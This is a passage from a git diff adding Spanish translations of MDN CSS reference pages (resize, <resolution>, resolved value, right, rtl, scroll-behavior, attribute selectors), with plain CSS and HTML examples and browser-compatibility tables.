+ <dd>El elemento efrece un mecanismo que permite al usuario cambiar el tamaño del elemento sólo horintalmente.</dd>
+ <dt><code>vertical</code></dt>
+ <dd>El elemento efrece un mecanismo que permite al usuario cambiar el tamaño del elemento sólo verticalmente.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> <code>resize</code> no aplica abloques en los cuales la propiedad {{cssxref("overflow")}} es configurada como <code>visible</code>.</div>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Deshabilitando_la_capacidad_de_cambio_de_tamaño_de_areas_de_texto">Deshabilitando la capacidad de cambio de tamaño de areas de texto</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Por defecto, los elementos {{HTMLElement("textarea")}} permiten cambiar el tamaño en {{gecko("2.0")}} (Firefox 4). Se puede anular este comportamiento con el CSS mostrado abajo:</p>
+
+<pre class="brush: css">textarea.example {
+  resize: none; /* disables resizability */
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;textarea class="example"&gt;Type some text here.&lt;/textarea&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Deshabilitando_la_capacidad_de_cambio_de_tamaño_de_areas_de_texto","200","100")}}</p>
+
+<h3 id="Utilizando_resize_con_elementos_arbitrarios">Utilizando resize con elementos arbitrarios</h3>
+
+<p>Se puede utilizar la propiedad resize para permitir a cualquier elemento ofrecer el mecanismo para cambiar de tamaño. En el ejemplo de abajo, un bloque {{HTMLElement("div")}} contiene un parrafo (elemento {{HTMLElement("p")}}) que permite cambiar su tamaño:</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.resizable {
+  resize: both;
+  overflow: scroll;
+  border: 1px solid black;
+}
+
+div {
+  height: 300px;
+  width: 300px;
+}
+
+p {
+  height: 200px;
+  width: 200px;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="resizable"&gt;
+  &lt;p class="resizable"&gt;
+    This paragraph is resizable, because the CSS resize property is set to 'both' on this
+    element.
+  &lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Utilizando_resize_con_elementos_arbitrarios","450","450")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Espacificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#resize', 'resize')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de Navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{HTMLElement("textarea")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}{{ property_prefix("-moz") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>3.0 (522)</td>
+  </tr>
+  <tr>
+   <td>On any block-level and replaced element, table cell, and inline block element (unless {{cssxref("overflow")}} is <code>visible</code>)</td>
+   <td>4.0</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{HTMLElement("textarea")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>On any block-level and replaced element, table cell, and inline block element (unless {{cssxref("overflow")}} is <code>visible</code>)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/es/web/css/resolución/index.html b/files/es/web/css/resolución/index.html
new file mode 100644
index 0000000000..b480413bb1
--- /dev/null
+++ b/files/es/web/css/resolución/index.html
@@ -0,0 +1,151 @@
+---
+title: <resolution>
+slug: Web/CSS/resolución
+tags:
+  - CSS
+  - CSS tipo de datos
+  - Diseño
+  - Estilos
+  - Referencia
+translation_of: Web/CSS/resolution
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El tipo de dato <a href="/en-US/docs/Web/CSS">CSS</a> <code>&lt;resolution&gt;</code>, usado en <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media queries</a>,  define la densidad de píxeles de un dispositivo de salida, su resolución. Es un {{cssxref("&lt;number&gt;")}} inmediatamente seguido por una unidad de resolución (<code>dpi</code>, <code>dpcm</code>, ...). Como para cualquier dimensión CSS, no hay espacio entre la unidad literal y el número.</p>
+
+<p>En pantallas, la longitud está relacionada a centímetros, pulgadas o píxeles CSS, no en valores físicos.</p>
+
+<p>Incluso si todas las unidades representan la misma resolución para el valor 0, la unidad no se puede omitir en este caso, ya que no es un {{cssxref("&lt;length&gt;")}}: <code>0</code> es inválida y no representa <code>0dpi</code>, <code>0dpcm</code>, ni <code>0dppx</code>.</p>
+
+<h2 id="Units" name="Units">Unidades</h2>
+
+<dl>
+ <dt><code><a name="dpi">dpi</a></code></dt>
+ <dd>Esta unidad representa el número de <a href="http://en.wikipedia.org/wiki/Dots_per_inch">dots per inch</a> (ppp en español), puntos por pulgada . A screen typically contains 72 or 96 dpi; a printed document usually reach much greater dpi. As 1 inch is 2.54 cm, <code>1dpi ≈ 0.39dpcm</code>.</dd>
+ <dt><code><a name="dpcm">dpcm</a></code></dt>
+ <dd>Esta unidad representa el número de  <a href="http://en.wikipedia.org/wiki/Dots_per_centimetre">dots per centimeter</a> (ppc en español), puntos por cm. 1 inch(pulgada) son 2.54 cm, <code>1dpcm ≈ 2.54dpi</code>.</dd>
+ <dt><code><a name="dppx">dppx</a></code></dt>
+ <dd>Esta unidad representa el número de puntos por unidad px. Debido a la relación fija de 1:96 CSS para CSS px, 1 px es equivalente a 96 dpi, que corresponde a la resolución predeterminada de las imágenes mostradas en CSS como se define por {{cssxref("image-resolution")}}.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Éstos son algunos de los usos correctos de valores <code>&lt;resolution&gt;</code>:</p>
+
+<pre>96dpi                                              Uso correcto: a {{cssxref("&lt;number&gt;")}} (here an {{cssxref("&lt;integer&gt;")}}) followed by the unit.
+@media print and (min-resolution: 300dpi) { ... }  El uso correcto en el contexto de una <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media query</a>.
+</pre>
+
+<p>Here are some incorrect uses:</p>
+
+<pre>72 dpi                                             Incorecto: no hay espacios entre {{ cssxref("&lt;number&gt;") }} y la unidad.
+ten dpi                                            Incorecto: sólo deben ser utilizados dígitos.
+0                                                  Incorecto: la unidad se puede omitir por 0 sólo para valores {{ cssxref("&lt;length&gt;") }}.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#resolution', '&lt;resolution&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Factorización del tipo en una especificación más genérica. Ningún cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#resolution-units', '&lt;resolution&gt;')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Añadida la unidad <code>dppx</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#resolution', '&lt;resolution&gt;')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>29</td>
+   <td>3.5 (1.9.1)<sup>[1]</sup></td>
+   <td>9</td>
+   <td>9.5</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>dppx</code></td>
+   <td>29</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.10</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>dppx</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.10</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Firefox 8 (Gecko 8.0), era erroneamente aceptado sólo dimensiones CSS que fueran {{cssxref("&lt;integer&gt;")}} seguidos por la unidad. A partir de esa versión, es compatible con cualquier dimensión ({{cssxref("&lt;number&gt;")}} CSS válido seguido inmediatamente por la unidad).</p>
+
+<p>[2] El Webkit engine no soporta resolución CSS  en la especificación, es necesario el uso del no estandar <code>device-pixel-ratio</code> query para el navegador Safari, ver <a href="https://bugs.webkit.org/show_bug.cgi?id=16832">bug 16832</a>.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Media_queries">CSS Media Queries</a></li>
+</ul>
diff --git a/files/es/web/css/resolved_value/index.html b/files/es/web/css/resolved_value/index.html
new file mode 100644
index 0000000000..f4da84636d
--- /dev/null
+++ b/files/es/web/css/resolved_value/index.html
@@ -0,0 +1,38 @@
+---
+title: Valor resuelto
+slug: Web/CSS/resolved_value
+tags:
+  - CSS
+  - Referencia CSS
+translation_of: Web/CSS/resolved_value
+---
+<div>{{cssref}}</div>
+
+<p>El <strong>valor resuelto</strong> (<strong>resolved value</strong>) de una propiedad CSS es el valor devuelto por {{domxref("Window.getComputedStyle", "getComputedStyle()")}}. Para la mayoría de las propiedades, esto es el {{cssxref("computed_value", "valor calculado") }}, pero para algunas propiedades antiguas (incluyendo {{cssxref("width")}} y {{cssxref("height")}}), éste es el {{cssxref("used_value", "valor usado")}}. Véase el enlace a la especificación a continuación para más detalles por propiedad.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM", "#resolved-values", "resolved value")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Referencia_CSS">Referencia CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+</ul>
diff --git a/files/es/web/css/right/index.html b/files/es/web/css/right/index.html
new file mode 100644
index 0000000000..db23189f44
--- /dev/null
+++ b/files/es/web/css/right/index.html
@@ -0,0 +1,93 @@
+---
+title: right
+slug: Web/CSS/right
+tags:
+  - CSS Reference
+  - NeedsTechnicalReview
+  - Referencia_CSS
+translation_of: Web/CSS/right
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Sumario" name="Sumario">Sumario</h3>
+
+<p>La propiedad <code>right</code> especifica parte de la posición de un elemento (posicionado - es decir, con una posición determinada por código).</p>
+
+<p>Para los elementos con una posición absoluta (aquellos que tienen la propiedad {{ Cssxref("position") }}<code>: absolute</code> ó <code>position: fixed</code>), la propiedad right determina la distancia entre el margen derecho del elemento y el borde derecho de su bloque contenedor.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("auto") }}</li>
+ <li>Se aplica a: <a href="es/CSS/position">positioned elements</a></li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Porcentajes: se refiere al ancho del bloque contenedor.</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: valor absoluto, porcentaje ó auto.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">right: &lt;length&gt; | &lt;percentage&gt; | auto | inherit ;
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}} </dt>
+ <dd>Una longitud, puede ser un valor negativo, cero, o un valor positivo.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}} </dt>
+ <dd>Un porcentaje del ancho del bloque contenedor.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">div {
+   position: absolute;
+   right: 20px;
+   height: 200px;
+   border: 1px solid #000;
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-right">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/Style/CSS/current-work#positioning">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad_entre_navegadores" name="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("position") }}, {{ Cssxref("top") }}, {{ Cssxref("bottom") }}, {{ Cssxref("left") }}</p>
diff --git a/files/es/web/css/rtl/index.html b/files/es/web/css/rtl/index.html
new file mode 100644
index 0000000000..1fd8c9f45d
--- /dev/null
+++ b/files/es/web/css/rtl/index.html
@@ -0,0 +1,22 @@
+---
+title: rtl
+slug: Web/CSS/rtl
+---
+<h3 id="Sumario" name="Sumario"> Sumario </h3>
+<p>El valor <i>rtl</i> es el valor que debe usarse para la propiedad CSS:direction si queremos escribir en lenguas táles como el Hebreo o el Árabe. El nombre viene de las iniciales de las palabras en inglés: Right To Left, que indican que el texto y otros elementos se han de representar de derecha a izquierda.
+</p><p><br>
+</p>
+<h3 id="Ejemplos" name="Ejemplos"> Ejemplos </h3>
+<pre class="eval">div {
+   position: absolute;
+   right: 20px;
+   height: 200px;
+   border: 1px solid #000;
+   direction: rtl;
+}
+</pre>
+<p><br>
+</p>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
+<p>{{ Cssxref("direction") }}, {{ Cssxref("ltr") }}
+</p>
diff --git a/files/es/web/css/scroll-behavior/index.html b/files/es/web/css/scroll-behavior/index.html
new file mode 100644
index 0000000000..b7b591d520
--- /dev/null
+++ b/files/es/web/css/scroll-behavior/index.html
@@ -0,0 +1,165 @@
+---
+title: scroll-behavior
+slug: Web/CSS/scroll-behavior
+tags:
+  - CSS
+  - Propiedad CSS
+  - Referencia
+  - Vista CSSOM
+translation_of: Web/CSS/scroll-behavior
+---
+<div>{{ CSSRef }}</div>
+
+<p><code>La propiedad CSS<strong> </strong></code><strong><code>scroll-behavior </code></strong><code>especifica el comportamiento del desplazamiento para un elemento con desplazamiento, cuando éste se produce debido a la navegación o a APIs CSSOM<strong>. </strong>Otros desplazamientos, p.ej. aquellos realizados por el usuario, no se ven afectados por esta propiedad. Cuando esta propiedad está especificada en el elemento raíz, se aplica al viewport.</code></p>
+
+<p>Esta propiedad puede ser ignorada por los agentes de usuario.</p>
+
+<pre class="brush:css no-line-numbers">/* Keyword values */
+scroll-behavior: auto;
+scroll-behavior: smooth;
+
+/* Global values */
+scroll-behavior: inherit;
+scroll-behavior: initial;
+scroll-behavior: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<p>Valores</p>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La caja de desplazamiento realiza el desplazamiento instantáneamente.</dd>
+ <dt><code>smooth</code></dt>
+ <dd>La caja se desplaza suavemente, utilizando una función de tiempo definida por el agente de usuario (user-agent) sobre un período de tiempo también definido por éste. Los agentes de usuario seguirán las convenciones de su propia plataforma, en caso de que existan.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;nav&gt;
+  &lt;a href="#page-1"&gt;1&lt;/a&gt;
+  &lt;a href="#page-2"&gt;2&lt;/a&gt;
+  &lt;a href="#page-3"&gt;3&lt;/a&gt;
+&lt;/nav&gt;
+&lt;scroll-container&gt;
+  &lt;scroll-page id="page-1"&gt;1&lt;/scroll-page&gt;
+  &lt;scroll-page id="page-2"&gt;2&lt;/scroll-page&gt;
+  &lt;scroll-page id="page-3"&gt;3&lt;/scroll-page&gt;
+&lt;/scroll-container&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  display: inline-block;
+  width: 50px;
+  text-decoration: none;
+}
+nav, scroll-container {
+  display: block;
+  margin: 0 auto;
+  text-align: center;
+}
+nav {
+  width: 339px;
+  padding: 5px;
+  border: 1px solid black;
+}
+scroll-container {
+  display: block;
+  width: 350px;
+  height: 200px;
+  overflow-y: scroll;
+  scroll-behavior: smooth;
+}
+scroll-page {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  height: 100%;
+  font-size: 5em;
+}
+</pre>
+
+<h3 id="Output">Output</h3>
+
+<p>{{ EmbedLiveSample('Example', "100%", 250) }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', "#propdef-scroll-behavior", 'scroll-behavior')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>61<sup>[1]</sup></td>
+   <td>{{ CompatGeckoDesktop("36") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("36") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Soportado en Chrome and Opera activando las opciones"<strong>Smooth Scrolling</strong>" o "<strong>Enable experimental web platform features</strong>".</p>
diff --git a/files/es/web/css/selectores_atributo/index.html b/files/es/web/css/selectores_atributo/index.html
new file mode 100644
index 0000000000..a7b59d03c6
--- /dev/null
+++ b/files/es/web/css/selectores_atributo/index.html
@@ -0,0 +1,241 @@
+---
+title: Selectores de atributo
+slug: Web/CSS/Selectores_atributo
+tags:
+  - Atributos
+  - CSS
+  - Selectores
+  - Selectores de Atributo
+translation_of: Web/CSS/Attribute_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>El <strong>selector de atributos</strong> CSS coincide con los elementos en función de la presencia o el valor de un atributo determinado.</p>
+
+<pre class="brush: css no-line-numbers">/* Elementos &lt;a&gt; con un atributo title */
+a[title] {
+  color: purple;
+}
+
+/* Elementos &lt;a&gt; con un href que coincida con "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* Elementos &lt;a&gt; con un href que contenga "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* Elementos &lt;a&gt; con un href que comience con "#" */
+a[href^="#"] {
+  color: #001978;
+}
+
+/* Elementos &lt;a&gt; con un href que termine en ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* Elementos &lt;a&gt; cuyo atributo class contenga la palabra "logo" */
+a[class~="logo"] {
+  padding: 2px;
+}
+</pre>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+ <dd>Selecciona los elementos que tienen el atributo <em>attr</em>.</dd>
+ <dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
+ <dd>Selecciona los elementos cuyo atributo <em>attr</em> tenga exactamente el valor <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
+ <dd>
+ <p>Selecciona los elementos cuyo atributo <em>attr</em> tenga por valor una lista de palabras separadas por espacios, una de las cuales sea <em>value</em>.</p>
+ </dd>
+ <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
+ <dd>Selecciona los elementos cuyo atributo <em>attr</em> tenga exactamente el valor <em>value</em> o empiece por <em>value</em> seguido de un guión <code>-</code> (U+002D). Se puede usar para coincidencias de subcódigos en otros idiomas.</dd>
+ <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
+ <dd>Selecciona los elementos cuyo atributo <em>attr</em> tenga un valor prefijado  por <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
+ <dd>Selecciona los elementos cuyo atributo <em>attr</em> cuyo valor tiene el sufijo (seguido) de <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
+ <dd>Selecciona los elementos cuyo atributo <em>attr</em> tenga un valor que contenga <em>value</em>.</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> i]</code></dt>
+ <dd>Agregar una <code>i</code> (o <code>I</code>) antes del corchete de cierre hace que el valor sea comparado sin distinguir entre mayúsculas y minúsculas (para caracteres dentro del rango ASCII).</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> s]</code> {{Experimental_Inline}}</dt>
+ <dd>Agregar una <code>s</code> (o <code>S</code>) antes del corchete de cierre hace que el valor sea comparado distinguiendo entre mayúsculas y minúsculas (para caracteres dentro del rango ASCII).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Enlaces">Enlaces</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+  color: blue;
+}
+
+/* Enlaces internos, comenzando con "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Enlaces con "example" en cualquier parte de la URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Enlaces con "insensitive" en cualquier parte de la URL,
+   independientemente de las mayúsculas */
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Enlaces que terminan en ".org" */
+a[href$=".org"] {
+  color: red;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#internal"&gt;Enlace interno&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.com"&gt;Enlace de ejemplo&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="#InSensitive"&gt;Enlace interno insensible Insensitive&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.org"&gt;Ejemplo de enlace .org&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Enlaces')}}</p>
+
+<h3 id="Idiomas">Idiomas</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Todos los divs con un atributo `lang` están en negrita. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* Todos los divs en inglés de EE. UU. son azules. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* Todos los divs en portugués son verdes. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* Todos los divs en chino son rojos, ya sean
+   simplificados (zh-CN) o tradicionales (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* Todos los divs con `data-lang` Traditional Chinese
+   son de color púrpura. */
+/* Nota: también puede usar atributos con guiones
+   sin comillas dobles */
+div[data-lang="zh-TW"] {
+  color: purple;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/div&gt;
+&lt;div lang="pt"&gt;Olá Mundo!&lt;/div&gt;
+&lt;div lang="zh-CN"&gt;世界您好！&lt;/div&gt;
+&lt;div lang="zh-TW"&gt;世界您好！&lt;/div&gt;
+&lt;div data-lang="zh-TW"&gt;?世界您好！&lt;/div&gt;
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Idiomas')}}</p>
+
+<h3 id="Listas_Ordenadas">Listas Ordenadas</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">La especificación HTML requiere que el atributo </span></span>{{htmlattrxref("type", "input")}}<span class="tlid-translation translation" lang="es"><span title=""> distinga entre mayúsculas y minúsculas debido a que se usa principalmente en el elemento </span></span>{{HTMLElement("input")}}<span class="tlid-translation translation" lang="es"><span title="">, tratando de usar selectores de atributos con el atributo </span></span>{{htmlattrxref("type", "ol")}}<span class="tlid-translation translation" lang="es"><span title=""> de una </span></span>{{HTMLElement("ol", "lista ordenada")}}<span class="tlid-translation translation" lang="es"><span title=""> no funciona sin el modificador de mayúsculas y minúsculas</span><span title="">.</span></span></p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="comment token">/*
+Los tipos de lista requieren poder distinguir entre mayúsculas
+y minúsculas debido al peculiar comportamiento que tiene HTML
+con el atributo "type"
+*/
+</span>
+<span class="selector token">ol<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">type</span><span class="operator token">=</span><span class="token value">"a"</span><span class="punctuation token">]</span></span></span> <span class="punctuation token">{</span>
+  <span class="property token">list-style-type</span><span class="punctuation token">:</span> lower-alpha<span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> red<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
